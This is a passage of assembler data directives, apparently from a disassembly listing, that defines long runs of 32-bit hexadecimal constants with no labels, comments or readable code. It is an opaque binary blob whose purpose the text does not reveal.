		dd 0D887B4CAh, 0D7897Eh, 8FD5A2C7h, 0D3CE3660h,	82E1E300h
		dd 121CBC4Dh, 2370072h,	0C1C985BDh, 0B23325B4h,	0C0C0FAF8h
		dd 0D259E0h, 0E1D4908Ah, 3BED48E4h, 2B663604h, 7C80C8BDh
		dd 9B3A6Eh, 0C1AA7A43h,	3157EAEh, 0C5713700h, 0F2617C4Ah
		dd 0B9B8000Ch, 0A754C4EDh, 1EE206E0h, 16A45900h, 3F374E93h
		dd 0EBA0039Ch, 0CD9A3084h, 3C0E2CBh, 47F863F1h,	501E0E00h
		dd 2BDF0918h, 8CEE50A6h, 0ADF100F9h, 141D0168h,	117C45FFh
		dd 0F0DC6B50h, 0A0351A20h, 2AFDC4h, 0A5B84781h,	39616D87h
		dd 60658900h, 0F0708CA0h, 1E3609D1h, 0A000CE5Fh, 35CC52BAh
		dd 8C905B02h, 4042EB2Ch, 3DA30520h, 0B880AF66h,	2FA60C5Fh
		dd 340BDB38h, 0B402FCh,	8CAD6FB8h, 0E0A201A8h, 43B24FF7h
		dd 0ECD02133h, 792C0F6Dh, 3000010Eh, 6BEF511Ch,	0F4AA00ECh
		dd 0BF8A6A04h, 8F033FCCh, 0E1D56F0h, 0B765D0C5h, 4C720738h
		dd 30641E84h, 0A79D67E3h, 7B006973h, 1E66877h, 0E8338381h
		dd 71BF0794h, 0EEDEF23Ah, 0B685386Eh, 8B8A8028h, 0CC00C595h
		dd 65598FDBh, 67D647D2h, 0C72220DDh, 12CE80BDh,	9A000D1Eh
		dd 7EA0192Fh, 72DF579h,	8CFA85EFh, 0E1099F77h, 5B2B0000h
		dd 3E00C815h, 86322056h, 3B2D1668h, 0D60038A9h,	7EB4F7BEh
		dd 0FD00DAE4h, 87BBAD58h, 7A69AA4h, 56161931h, 69D700B5h
		dd 1C3C6032h, 7D00763Eh, 5E1B54DFh, 929C8F68h, 7E25F8E0h
		dd 0F99401E9h, 3DDC62Ch, 1423F061h, 80974D38h, 12FD32E0h
		dd 7FD9E955h, 7ABA00ECh, 0FF9F162Ah, 5D00B3D0h,	0C1AE59F6h
		dd 0FAF4C5Fh, 45A2B1A1h, 70DDC526h, 0F4919A26h,	0E2681B8h
		dd 492F825Ch, 0FD1030h,	0EDD977CBh, 0E385681Dh,	67182B71h
		dd 98208157h, 0E8310EE0h, 7200C1C8h, 8F22126Eh,	0B4401C60h
		dd 6801FFh, 699FE4FCh, 1058A255h, 37B75D00h, 0D74DA766h
		dd 0FE1C03C9h, 0F47A8B8Ch, 0CBED94A0h, 0C8663A00h, 120F9142h
		dd 9B4F2A4h, 0AD47DA65h, 0ACAF8800h, 4E983ECAh,	86E0F400h
		dd 2C42550Eh, 445D3E8Dh, 1D006059h, 0EC3FB2B4h,	0A8C1F721h
		dd 0FDBF7603h, 729FAC24h
		dd 0EAB088h, 9641B87Bh,	176C886h, 452B5A00h, 0FE1D5EBBh
		dd 736B000Ah, 198ECB41h, 2EFE25CAh, 0EBE1DF0Fh,	0C8E0805Ah
		dd 70BAFFEh, 9EF3ACC5h,	0F8028186h, 2834F8DEh, 3CE42C24h
		dd 67ADD00h, 0C1E5D904h, 4F9F8B10h, 0CB36DC6Ch,	0ECBA5C00h
		dd 6E1AF1B0h, 489E0067h, 74D7AFA9h, 0B41FE5C9h,	0F6DFB81Fh
		dd 0CD249D00h, 5F38D0h,	0A42AADDDh, 5C18C49Fh, 0BE5AE907h
		dd 0B9A0F56Fh, 0C98D9h,	2E291652h, 1C5E70C1h, 8D82111Fh
		dd 27280640h, 952A2Dh, 1374CDECh, 0C13DC293h, 0AAA02100h
		dd 75D04540h, 894100CEh, 18E3BC9Ch, 9B00F010h, 0E4A91D19h
		dd 1175326h, 0DBC4D138h, 0F0DE70A7h, 0DC07F87Bh, 0C0B32F78h
		dd 0AA148Eh, 0E6268C5h,	86D72Eh, 0B0411899h, 0F6AE1CF9h
		dd 75F83C00h, 4A5D3423h, 0D446031Bh, 37C959E3h,	7C5BEDC0h
		dd 5FEC5000h, 7EE7C458h, 0F2797722h, 12FA019Ch,	0CBBB9A43h
		dd 0D4FFF092h, 39EAF400h, 0EBB3F195h, 1A03004Fh, 608DA2Eh
		dd 12004A49h, 355438A5h, 24FC65DCh, 53AB50h, 36016352h
		dd 200F1AE2h, 3A60840h,	0D8DF24D1h, 2E0B12h, 449B4E85h
		dd 0DA1C7F11h, 0BB2080E1h, 6B3769FDh, 2512C090h, 0AFC8E26Fh
		dd 445A5000h, 0DF91CF52h, 94D00177h, 799EB528h,	0EC5CE44Bh
		dd 0D38111C0h, 0E4B0BFh, 0D44D61F6h, 2D1B57DBh,	2107009Dh
		dd 7B0F77C9h, 0C1B500F7h, 38DCFAF4h, 49008D67h,	792A04E6h
		dd 71A8D32Fh, 755FEBDh,	0FD4125B3h, 9E12F0D0h, 0DA031D94h
		dd 0A08DDF5Bh, 0F1981345h, 8C8E0F05h, 89B57700h, 0B0063B3Dh
		dd 0D18F3488h, 0F7170E18h, 6582EEFBh, 18817E03h, 80A17CDFh
		dd 81802149h, 4CF8DBDAh, 0BE007986h, 3BCD1A8Dh,	883D225Ah
		dd 814D033Fh, 0E7ACD890h, 6180F567h, 60136219h,	0EB528F3h
		dd 0C5018CD0h, 0B26B1185h, 38407003h, 1CC3CA76h, 8306A090h
		dd 0D8465B3Ah, 0E15F7800h, 0FBF64C94h, 6DF28E5h, 20A96270h
		dd 24A002F8h, 411DA437h, 543F5203h, 0B0BE0CF5h,	0CEE2B9h
		dd 0D212776Ch, 7AEDE1ACh, 0FB1BEB07h, 6D209B98h, 51E709h
		dd 9F485E9Dh, 1CA4285Fh, 185BE500h, 3E628B19h, 91CE2CE1h
		dd 0BD920025h, 0A7E3A197h, 0EFF27D00h, 0E567F4F6h, 0ADB23EABh
		dd 89099B00h, 0BB725AC4h, 0A0CF4D32h, 80049552h, 0EB0C76A5h
		dd 6B14AE81h, 12705F25h, 3C005308h, 89CA6F20h, 5DE0EDDDh
		dd 0BCF332C7h, 38805468h, 6E9EB9DFh, 0E504BF7Ch, 0D34AE087h
		dd 798FAF40h, 330FC4CBh, 0F9532190h, 21809708h,	0A279F786h
		dd 0B00E2B0h, 7C24CBDBh, 3393CDD8h, 329120B4h, 17824DE8h
		dd 0B0FB1F02h, 41C086DEh, 2080CE32h, 6A4C1D9Fh,	0B0046FCh
		dd 98938A85h, 1BF323h, 99A0BC0Ch, 6E2E9FB3h, 97C08D19h
		dd 20C686D8h, 0E99CA2D6h, 542AB97Fh, 2800F46Bh,	0AA19D908h
		dd 141DCD2Bh, 1C5267C2h, 1A09DCC8h, 5E18209Ah, 763DD2CFh
		dd 0F6F0A3h, 1013F4DBh,	2BABF235h, 0F290E252h, 0B85B3095h
		dd 0A0FFC330h, 0F83FDBh, 0BABE5078h, 3311D6F0h,	2FDA6E03h
		dd 0E053AAE8h, 23DE3DDh, 97EE5731h, 0A4A03AB3h,	0A7740C09h
		dd 4F00F5EAh, 639B3D01h, 42247F3h, 6570BC06h, 0AC10908Dh
		dd 0C890E6C2h, 0D286D806h, 6008F003h, 0E9CD21B6h, 0BE71F7E1h
		dd 0E625DCFBh, 5900BB75h, 0D86E3271h, 0C0967C0Fh, 0A94AE491h
		dd 0BF241C3Ah, 71801CAAh, 10479B11h, 220200B1h,	9A073F33h
		dd 35002A61h, 8F82F76Bh, 0D870DAh, 0BE2CEB8Ah, 802FA99Ch
		dd 7658DB60h, 0A098BAF1h, 61127EECh, 9E17E925h,	1836F7EFh
		dd 46E0B9DAh, 0E1D80272h, 30C8DAF8h, 0E780444Fh, 0E177EFh
		dd 0D85B17B3h, 50DB3D12h, 0A0014275h, 2BAF45B9h, 31AC526Bh
		dd 0B6EA0E91h, 82E0C680h, 0CE005178h, 695F676Bh, 414922Bh
		dd 909BCB5Bh, 88048E25h, 871DC092h, 3F0198BFh, 0B013E13Bh
		dd 2C20FD40h, 8B2613CBh, 32440E18h, 0B9BFE242h,	66A5B4A0h
		dd 1301EB92h, 3CA0D17Bh, 43D1B263h, 0FC0434h, 0C8AA926Fh
		dd 1BD63EB1h, 6EC51104h, 74808B5Ah, 6004E839h, 79CC68C6h
		dd 0CA4D0E3Fh, 216000E0h, 1DC00F70h, 44EC2430h,	4C641F4Ch
		dd 0DD81BC24h, 60877817h, 12CA7A00h, 4CB0233Ch,	4C28F528h
		dd 27B46CCh, 0DAEFE1E7h, 80B731C0h, 0E1EE9221h,	914A247h
		dd 0ACB0E510h, 6A57D001h, 0B3BC205Dh, 45C49h, 718B2278h
		dd 20B26Dh, 1553EEB4h, 74FB9A76h, 4FA0360Eh, 22E47410h
		dd 0B46F3E50h, 1407D503h, 0FAF8D7E0h, 0DE003606h, 74ECCAA2h
		dd 18C5EF44h, 7024FE56h, 0C1F8B011h, 5328C4A4h,	130C9C98h
		dd 1978C4B8h, 8E96296Eh, 0B53804A8h, 0CD8427ACh, 1274C800h
		dd 0F074E461h, 0E60BF48h, 6B9DCE6h, 110A0EEh, 0E5FFFE70h
		dd 0F420A6B2h, 35623879h, 0A0784AF1h, 0C607ACA4h, 0DFFC2E70h
		dd 120C0162h, 24D2A2B6h, 303DA28h, 237D81B0h, 6810D0A8h
		dd 0CFF129CEh, 0EA9383A4h, 0C002FB84h, 0D3C5275Fh, 0D4304981h
		dd 926C18F6h, 0AB138908h, 21AE66A6h, 9275FE00h,	0A56B4B58h
		dd 0FC2F1225h, 36E00680h, 704B148h, 9778FDD1h, 0CEEA2180h
		dd 18277C58h, 49B58462h, 33007E8Bh, 51A8F270h, 0B4BA4h
		dd 948D7742h, 5C27DB21h, 0FF58B661h, 0A9E226C4h, 498018B8h
		dd 1EFB00E4h, 34C59E5h,	36134A75h, 0EC1CD037h, 10A33B8Bh
		dd 80BB9E74h, 5A057A03h, 0E887EC92h, 31E3CC30h,	0A78828B8h
		dd 64645CE4h, 2DD7CB80h, 0C027360h, 4068E76Fh, 21FC4850h
		dd 121701F9h, 4A24EC5Fh, 0B4D84846h, 2836AC01h,	8C9F0FA2h
		dd 0C4B2F442h, 32072EC8h, 554D0086h, 5151DE0h, 82802700h
		dd 17DBF4DAh, 88B087h, 0E638CA9Dh, 0BD0DDE7Ah, 0A3B69CA8h
		dd 52763092h, 0BB07250Ah, 4C0794B8h, 0D0AD1361h, 0E2C445EEh
		dd 0CB184448h, 0AB630E7Eh, 800F31Dh, 0D23FFC68h, 0BFB02116h
		dd 309C130Bh, 694DD4E4h, 0E499B183h, 1E921089h,	1319004Ch
		dd 39FFBB3Bh, 0D1A1E8BFh, 0B5C18EDFh, 4EF8E029h, 781D8173h
		dd 7CD002FFh, 251736CBh, 4D82E081h, 0A22C3362h,	621230ABh
		dd 0D3B2FB00h, 2D0ABC19h, 0A8EC915Dh, 6480A710h, 949060AFh
		dd 0FFA10C38h, 7E485F17h, 80E99DE6h, 2751E860h,	2AE9B669h
		dd 2985DB4h, 42A6C2A1h,	80A0A337h, 9E13F864h, 0CC432900h
		dd 6346BD4Dh, 2DE300FAh, 64CB3F6Bh, 1D0262E6h, 658EB5B9h
		dd 5CD8A079h, 0B6B31Ah,	356BFB7Bh, 8F568BC8h, 7DD8E41Dh
		dd 0B931EFCCh, 8123615Dh, 0E8BE440Fh, 6D62CADAh, 0A0DBCDF2h
		dd 7652259Ch, 0F5872C1Bh, 79F4C364h, 189BC4E1h,	970F8894h
		dd 5EB27902h, 694B9AA3h, 36075C38h, 3E01792Fh, 471F82CAh
		dd 6AC4BD9Dh, 1E3F1850h, 3089D8F4h, 526422h, 0B1D59F7Ch
		dd 12FB2EB0h, 0A28D9D1Dh, 5D1100F9h, 0CF162583h, 526900DEh
		dd 3FFFD467h, 0BEEEF805h, 292C6DF6h, 0AE00E70Bh, 5F8EC46Ch
		dd 0EE160B90h, 648072A2h, 0BE601880h, 5D99A080h, 8D26B8EFh
		dd 20751DA8h, 4B7102F4h, 84B113F0h, 2410D680h, 2693B741h
		dd 308630Bh, 4D49C24Ah,	3F544C04h, 9482A3B5h, 4DD230BEh
		dd 0D714C111h, 0D421348Ch, 4A4C1C00h, 0EEAFD92h, 9A4AC77h
		dd 7E810A8Bh, 691EDC90h, 0E80CDD5Dh, 6C79001Ch,	9A8A756Bh
		dd 0C72037D3h, 0EF45028Eh, 9799F8Fh, 683FC060h,	42FC5B48h
		dd 0CE8AE168h, 7D00D50Ch, 11124906h, 0CD0ADFh, 3B3DEDD0h
		dd 89A95B55h, 5314EA18h, 401F3D8h, 1D755CB0h, 52CCB45Dh
		dd 1801149Ah, 0B9DE9D6Ch
		dd 58222556h, 1C6EBC00h, 532D233Dh, 0C144EB4Ch,	0A8BFED6Dh
		dd 0A0008C57h, 1D9DC2Ah, 327AB5CEh, 0CCB7FFC2h,	793BB36Fh
		dd 0E3D59B8Bh, 1784A061h, 412A48EEh, 0CB056E00h, 0A585E7Dh
		dd 0F44CD028h, 10A2DC03h, 0DD45A9h, 0B92631A9h,	0C8A7792h
		dd 0E80EBE00h, 5B508FF9h, 988500D9h, 0B413B32h,	0CDF2C16Eh
		dd 4550BB50h, 4FC65100h, 7B78D484h, 0A0011F4Ch,	20B802F8h
		dd 3458ACAEh, 0F607EB46h, 0B9C4C879h, 0D5CCC1Ch, 142D0025h
		dd 0DEE9275Bh, 71BE60FFh, 82FCBBF4h, 840958D2h,	0C0344297h
		dd 82D0587Ch, 0AA9F4861h, 8C3BCC19h, 94D62633h,	8F92CAC0h
		dd 0D1DB2E13h, 73F05814h, 0AD9D9200h, 7DA7D51h,	44DC41FBh
		dd 0F150A228h, 0BF0C4448h, 17DE4Ch, 0A3491A6Dh,	2B5E73Dh
		dd 0FFD600Ch, 0D440474Ch, 0D0BE5FEh, 0A06588D5h, 42D7C48Ch
		dd 7F643035h, 4E4C2B51h, 0F4AFA3Eh, 1D975A0Ch, 9F2C0BC0h
		dd 0F0E363BDh, 0F2812B9h, 0E8040FBEh, 1CCAC5A0h, 61E8C8F5h
		dd 36143505h, 0B893A7C7h, 9DA624B1h, 4CC9C094h,	0EF2114C0h
		dd 212698FBh, 4D1EB361h, 0CE0075A8h, 3F524FA1h,	29770DD7h
		dd 315892EFh, 59DDC0h, 52D351Fh, 0BA1DFE94h, 96B440ACh
		dd 0D75588A2h, 0B0AFE000h, 7FB124C5h, 0A3B7071Ch, 0BB231256h
		dd 43D8D484h, 0C1A99FB8h, 0C854AB54h, 35E1D0B2h, 79670CCCh
		dd 321A03DDh, 8ACE0177h, 230FB111h, 6398B803h, 9DE02F45h
		dd 0B20D9313h, 493B3A79h, 0A0CACC61h, 0C80F5BC8h, 0FC90D7A3h
		dd 0CB980230h, 6136394Ch, 2937A9h, 7672EB00h, 0ECE50A57h
		dd 0DB1EA0Fh, 4D9DE4DFh, 431D5488h, 92FF02BFh, 317313F6h
		dd 64FB10A9h, 73477A92h, 1F4890E9h, 74A72617h, 0D824C2D0h
		dd 35E27CE5h, 728818CCh, 9D1A411Ch, 3C236552h, 0BFE4D018h
		dd 0A420715h, 0A16E1D56h, 0E00C61FCh, 3113F1EFh, 48818910h
		dd 0DC2056CBh, 935204A2h, 8394BAh, 69C925Fh, 0D1504EFh
		dd 835B1BDEh, 2DC6CE0h,	0C43D781Ch, 6BC800FCh, 4714C4FFh
		dd 3960B3C1h, 8E380719h, 774E0086h, 431863B5h, 0AC01DAA3h
		dd 4D7FDBAFh, 9064EE01h, 0EF0D1E7Eh, 0A1B4824Bh, 0DC408713h
		dd 0E092A76Ah, 7278A500h, 6897948Ch, 96E124F6h,	0AF870A00h
		dd 986C3BA4h, 0B8B93378h, 86528278h, 0AACD5F00h, 4D3FF40Eh
		dd 208D098Bh, 180FD0F8h, 80AC4FA4h, 0B01A5028h,	300858D2h
		dd 0E184C06Eh, 0E84FDBD4h, 0FC3102Ch, 6CD6E1EBh, 321F5100h
		dd 5F1721DAh, 0BE07E45Bh, 84A9FEFFh, 0F560EAC4h, 0C42DC979h
		dd 0EE8816E3h, 0A379029Ch, 743FDAF4h, 8D5CA8C8h, 85B46408h
		dd 12CC1DCDh, 0F63060E2h, 1725E54Ch, 7BAC1637h,	764C0068h
		dd 0DBCA9635h, 86121BF3h, 0B80ABE29h, 0CD02B89Eh, 0E9A0E831h
		dd 88631C1Ch, 24AA3D00h, 22555FD1h, 112A9400h, 64EB9C67h
		dd 6CEA48EEh, 2F321450h, 58206B26h, 0E8DDFDE2h,	0A6F18200h
		dd 849877F3h, 623D041Eh, 0C0DBB11Fh, 0EF87E4B4h, 9A5C90ACh
		dd 0BC41438h, 0E2B1E090h, 54263C79h, 181278D8h,	537C0044h
		dd 1E163E1Bh, 0E731E11Fh, 11B09727h, 96FA8089h,	537B6E9h
		dd 75A5BF92h, 31688865h, 0D33DB91Eh, 0DC369886h, 0D0B00039h
		dd 32BDE061h, 0E7039009h, 305CD8Ah, 4AFCB0FBh, 4480906Ah
		dd 891E50Fh, 96189579h,	31A66A00h, 0D2094C6Fh, 0C39301AEh
		dd 42FB7283h, 48DAC710h, 0CFBA8CE8h, 0B62818B2h, 4F0334A1h
		dd 0F5CDA80Ah, 71A2E087h, 9418D0AEh, 0EB01EC23h, 93C46779h
		dd 1214C04Eh, 0A4399492h, 92383597h, 9C484B18h,	0A28E3B6h
		dd 0E602A733h, 0B26E609Ah, 39444884h, 807E2617h, 0CBE512F0h
		dd 0C2ADC8A4h, 0BDE0EBEFh, 0A326E265h, 0DD867CA5h, 29902Eh
		dd 0A10E1C3Ch, 0D44E80E8h, 4FF4D848h, 90BB204Bh, 0C15C16Ch
		dd 46C9CB6Ah, 5C15958Ah, 12F877C7h, 0B408FC94h,	4CEDC0F1h
		dd 4F4617E4h, 65008822h, 56064DD7h, 26F7FF5h, 14B5900Ah
		dd 0AC487CB8h, 89C0A56Bh, 8B3A36A8h, 96EC02F5h,	8F070270h
		dd 0DC4DF848h, 5FF62015h, 9A0C1EE4h, 4FCEE4Bh, 5C40BDE4h
		dd 0B4DB0BA1h, 0D7EBE514h, 0BF1F10A8h, 0F41498D0h, 0A843A413h
		dd 528110h, 95926285h, 0DC8709h, 0DA6D8A0Dh, 0BDA2B84Bh
		dd 20EACA8h, 0E2854A00h, 5107DED7h, 1EC742Eh, 0FDAC05C1h
		dd 0D062325Dh, 0B0290682h, 317898CFh, 0E40A86CCh, 8C83265Dh
		dd 0B0C4979Fh, 44D25A78h, 9CF787E7h, 0A637EA11h, 38294424h
		dd 0B30039D5h, 8BDB1DE6h, 8612F7E8h, 0D0927E47h, 4164E213h
		dd 0ED189DECh, 0DBD5E108h, 21B1C6F0h, 0E1ECCC01h, 91180149h
		dd 3F872470h, 0B053BE19h, 13082A2h, 2270F93h, 0BF27280Ah
		dd 9B0B4E83h, 5D5C4402h, 0C2947C84h, 24D2655Ch,	0B4756000h
		dd 903C270Dh, 72518D6h,	9E16390Fh, 0A4F3F724h, 22415A00h
		dd 83BC9F50h, 0AA746010h, 631BB83Bh, 33B128F2h,	0B0787794h
		dd 2E7EE8h, 300532CCh, 540AEF3Eh, 0AF4B5D00h, 0EC8A5F82h
		dd 80E8B437h, 0F62BBD28h, 2D098408h, 846ACB9Fh,	0F8CB1BD5h
		dd 46C094C8h, 4851C7B9h, 3B0073D2h, 843FDFF2h, 627B6ACh
		dd 913817A6h, 0F628088h, 0BE360E9h, 0B3B85C97h,	9543B848h
		dd 88098A00h, 7E291228h, 5964C09Ah, 0FA319C2Ch,	985BC51Ch
		dd 22DA014Bh, 722FAEA0h, 3E160C80h, 3318904Eh, 0C8293100h
		dd 0E110126Fh, 0C8B88Ch, 397125D4h, 91387E49h, 45CC99C9h
		dd 8291CF1Ch, 0E464FDD9h, 0D74203ACh, 0B3495569h, 171229EEh
		dd 5082D336h, 0A5A443DDh, 0A283D440h, 0CC50D7h,	0CAC8ECEBh
		dd 0CDD9351Fh, 144F752h, 17E64CEFh, 483CFBFFh, 4CC163A0h
		dd 5B6BF104h, 0D8A4B3E1h, 9B1036Fh, 61656A95h, 0A94EC3B8h
		dd 94880F2Ah, 5907CD02h, 6AACB844h, 0EE98C138h,	790B8918h
		dd 0E503C46Dh, 0F184838Ch, 44989479h, 8B182954h, 71C8E45Dh
		dd 59CFB012h, 0DA0F8C4Ah, 5060102Fh, 798C38BEh,	20C03F2Fh
		dd 40B66BBCh, 0D15091FFh, 0EF11895h, 0BE3A2666h, 41A87E05h
		dd 56493BFCh, 0D1A3E465h, 292CE1D0h, 9B5934E5h,	8BE61818h
		dd 0CA0E7C04h, 58903BBBh, 49BF13Ch, 0F322DF66h,	0E164A201h
		dd 90C45A2h, 68E7A00h, 0CD383D30h, 8134B1E2h, 0B94021BCh
		dd 88AC7047h, 0CDE53B3Bh, 0B6755Ch, 0E98465Ch, 40C93BDBh
		dd 7D80A034h, 0FECB0B59h, 0E0E033E3h, 0A907B502h, 91CAC545h
		dd 80946A89h, 67C7E2CBh, 672FAh, 96EF7C2Eh, 0F1877EC5h
		dd 61CADE00h, 59B2933Ch, 0EA990231h, 456F0724h,	0D106FC80h
		dd 8C091F68h, 8B1487E4h, 0AB20E072h, 8184E537h,	8D891845h
		dd 0DDD41A48h, 486E80FAh, 2FA8109Ch, 9C38E754h,	28C3BECh
		dd 25A8012Dh, 9C48803Fh, 3B4F5F20h, 2C953405h, 0B59C87C0h
		dd 40465BA1h, 0A25D5148h, 3B76F122h, 7C497F13h,	0C798C0Fh
		dd 94376133h, 9ED98164h, 30126A97h, 290278EAh, 80A82C8Eh
		dd 0C0345CFCh, 0DC340FD8h, 5AAC6282h, 35E200C8h, 557F3AF6h
		dd 8301881Bh, 0FA665F41h, 7AF83D34h, 6B2E1963h,	0C4723153h
		dd 6213AFFFh, 0E083FCE7h, 1FC1F636h, 0BE976182h, 0E35D4712h
		dd 17072D2Ch, 45B40804h, 0AB507C63h, 27F3991Dh,	9D036C3Dh
		dd 0FF8951E7h, 0CACB8101h, 0B0B84612h, 511C62E6h, 189B79E0h
		dd 0B595002Eh, 0F1825E54h, 0AC30E831h, 25DB504Fh, 94D85D7Ch
		dd 5D5330B9h, 0BB1254B9h, 1D2BA4E4h, 7F2010h, 6A901780h
		dd 0E6F4E4BCh, 0BFD8B900h, 6F23D701h, 0C3834B4Ah, 290D35Ch
		dd 0B2506B07h, 0C3004D84h
		dd 0CA71F45Ch, 92EF2347h, 38BB3824h, 1360C16h, 0D5C96970h
		dd 521C4C0Dh, 0BA1D7580h, 27FF0028h, 0BE5D3EC6h, 0F512634Ch
		dd 7C2FCC84h, 0C0CEBF10h, 5DAA4E7Bh, 0B264258Fh, 0A2E2E0C5h
		dd 82571845h, 0B5B96B09h, 81A005DBh, 0D98D8CD2h, 45B17828h
		dd 0D6A0786h, 4DDC17EEh, 0BD070F1h, 0E2313201h,	0D83725DAh
		dd 57092C6Ch, 60E58D45h, 0EE6744E4h, 0A8618EC0h, 8D1C2214h
		dd 9F43DF62h, 23B93269h, 830767C1h, 0E015DBE1h,	1EE8838h
		dd 18CBE1EAh, 0EAF17412h, 0DA016456h, 53A62307h, 889DF424h
		dd 0B1DC9485h, 759A0DC0h, 2626D805h, 40C8B438h,	0F41369EDh
		dd 2D38248h, 0E49E1DA3h, 26904027h, 388F48FFh, 0CE86B109h
		dd 0C3C148DBh, 86CCD73Ah, 76C00707h, 0C0DFDEE4h, 0DBD63B34h
		dd 0D0F5C81Eh, 0F787C980h, 0FB8B176h, 0BE952E8h, 3510C2A0h
		dd 1300CAE0h, 0CDC6DB06h, 55AFB5ECh, 6EF49047h,	190BEB2h
		dd 0C274C8EBh, 47E1D360h, 0B88C7C31h, 68008C82h, 25BA232Ch
		dd 9039E20Bh, 0D14F228Ch, 125B363Dh, 0A0E018E8h, 431000CCh
		dd 7C24E262h, 0A1627516h, 5EF72699h, 83702B4h, 38761EA5h
		dd 381496D9h, 19469220h, 5E601B26h, 47009246h, 985F0D42h
		dd 1795B371h, 4DA9881Ch, 1F31D460h, 0FF2709CDh,	785BDD88h
		dd 0D301FE09h, 0C1CC58C8h, 8EAF800h, 43F2472Fh,	0A9317D4h
		dd 0E47CC051h, 37246A1Bh, 0DE08004Dh, 0A4678C4Bh, 3701069h
		dd 0E5C11300h, 3BE3D411h, 0CAB00123h, 9CB90C50h, 6C3DB3h
		dd 519D9F65h, 1C397818h, 0A6171220h, 9C64257Ah,	2C37DA09h
		dd 1FC8DA44h, 1336C028h, 0C13C9A07h, 7E89C44Dh,	13C1CE0h
		dd 2309E541h, 385BE227h, 8C43BC40h, 6442DF01h, 0A5B05C7Fh
		dd 48803038h, 6D0389DBh, 66909414h, 0E08C250Ch,	632B8h
		dd 0DE971517h, 12A45D07h, 60E061D2h, 0E6313A3Dh, 0A86C6800h
		dd 0E3DF1BADh, 7851CD03h, 0DBB1A672h, 0B7BEE806h, 0FFB50E13h
		dd 89403979h, 82E180ACh, 21D414E8h, 5EFE0EF9h, 0FF86F3Eh
		dd 622480F3h, 1E7B6C78h, 0C00F5A06h, 82470B3Dh,	0F300A009h
		dd 0A108DC9h, 398B4BCh,	0AEBB131Bh, 25E0F86Bh, 8C3E7227h
		dd 7B1506A8h, 68C2ECh, 225307F3h, 7A620C9Bh, 0BB038FECh
		dd 0BE224D2h, 3E91FE2Dh, 2A003634h, 0C7406AF4h,	0DA0CA10Ch
		dd 49B918E0h, 0DB9F3A66h, 42B0017Bh, 7E969180h,	2A64ECDDh
		dd 0F0034D7Ch, 0CD9AF429h, 0BED007B3h, 50EDD597h, 0E2AA7509h
		dd 0F4C5303Fh, 6D21B860h, 3FF4EDDEh, 0B680DD9Bh, 38F2946h
		dd 0A506D73Dh, 0BB5FADBDh, 8A380080h, 0A13F557h, 170CF040h
		dd 794264A5h, 0F330882h, 0CF01B2EBh, 0AFA67DEAh, 8A3C858h
		dd 893A3BFEh, 0A9AEC2h,	4EFFCCC6h, 0B4050200h, 3C61D015h
		dd 41B860A8h, 0AC5450FDh, 2F971A00h, 0C57FC7DAh, 80EC7A62h
		dd 0CCFBC8F3h, 0A1069F6Eh, 0A22D078Ch, 21E36308h, 0F298AE7Bh
		dd 2E003990h, 0D3ECB3AFh, 50A85AD8h, 4831EC91h,	0F200782Ch
		dd 1DDCC6ADh, 0BD0C12EAh, 8903CFF0h, 428501D5h,	0C886D114h
		dd 1AA450A4h, 151FBC17h, 0EE41A661h, 4D037957h,	9887C8D3h
		dd 7F360160h, 0A56B53D3h, 78988EA9h, 5913ACCBh,	0D341012Eh
		dd 0B34EED7Fh, 0F44CCC3Ch, 0FD0C9C00h, 9F13FF69h, 3EA52h
		dd 4262AEDDh, 0DEEDE910h, 4E91B91Eh, 3AF9CB00h,	59DA4C9h
		dd 5A11012Bh, 60F84009h, 5637A5DEh, 50AE6200h, 0C91CFB31h
		dd 0C74E000Bh, 0A70DA0FCh, 26AE1F5h, 0CB0824F0h, 0ED6E63C6h
		dd 186D0999h, 0D77288A3h, 19E0ED01h, 996F89ADh,	506E11C0h
		dd 0F8EAC9Ch, 0D23A742Dh, 0E69F02E2h, 340BB848h, 6D001091h
		dd 9CD2EB27h, 81F4189Fh, 50B6881Fh, 0C1407F00h,	2D6954ECh
		dd 0D00C51DAh, 0A6CC4841h, 0C2463040h, 0D118DFF1h, 186A3EE1h
		dd 9E30216Eh, 0A44D2043h, 0B9C0CA78h, 686EB878h, 8B4A1FB6h
		dd 0B0203030h, 94EE9F5Fh, 0A1E1ACA0h, 8900A848h, 0B5E2805Bh
		dd 72D0132h, 0F87668C8h, 6D055190h, 0A68C502Bh,	3C92B785h
		dd 0F1C0EAF8h, 19E7F964h, 70160A14h, 2D4A9CAh, 38E6666Ah
		dd 74DB8848h, 6C67C524h, 0D73196C7h, 0F418A99Fh, 0E6B56888h
		dd 0AC61E71h, 0D3FF000Eh, 0F4A56240h, 0A4A817E4h, 0B14F73Dh
		dd 6CC0DA1h, 8E5F962Bh,	65390910h, 20917537h, 0D2FC58AFh
		dd 9BBED04h, 20CBC18Dh,	0EDDB6E00h, 7BD5AAACh, 0DDF050FCh
		dd 202D5518h, 39F37878h, 0AD1591FDh, 8A08D0A7h,	4643AC24h
		dd 4D182BC3h, 2F2A12C0h, 0B92340h, 56FE3D1Fh, 0A72608B1h
		dd 9D1E4081h, 8EBB3BB8h, 0AFBD8991h, 742ACA37h,	759D4656h
		dd 8C7E463Eh, 0E011C9F5h, 0A74C0982h, 0A016A189h, 6C1FB146h
		dd 7D094AEDh, 0C3FC5360h, 898867D4h, 0B2043E5Ch, 0B7EEFF96h
		dd 0E302401Dh, 0A515E07Dh, 771FD300h, 0B793523Bh, 0B0054949h
		dd 95A67182h, 8904BC6Ch, 993955FEh, 21030863h, 6BFE9AC4h
		dd 388E0417h, 8866B883h, 0C6071990h, 0F48F5E58h, 9D682E80h
		dd 18FB4CFFh, 2103004Ch, 8F0B6B7h, 82E513F1h, 0E1654A18h
		dd 6E848109h, 9D32803h,	0B0F567C9h, 626BE020h, 4B59A298h
		dd 0EB04009Ch, 8A3A364Ah, 49448F8h, 51FDDC04h, 801084B8h
		dd 8D3B3810h, 0AC584249h, 0C4018CB9h, 47EA3AB8h, 0D8B1B7EFh
		dd 0CCD7648h, 94ED0A61h, 0C4D8D509h, 0CA71409Eh, 266822EDh
		dd 84CE05Eh, 642B25FEh,	16A9A405h, 1D8CB440h, 2B3523h
		dd 5F01B19Eh, 0D7D652C4h, 96099C00h, 28670678h,	322B0259h
		dd 0BF20E7BEh, 5DA09C83h, 40A8DCABh, 86796FF8h,	2C5059h
		dd 2FCDB531h, 0C5158FCh, 0FED0B044h, 0DE02A839h, 69AF4778h
		dd 4198E164h, 0C0D49C74h, 47618121h, 0B401CB5Eh, 753637Eh
		dd 82C15A3Ah, 0DE1CC080h, 0B75B34D4h, 58A42099h, 8B9CCA00h
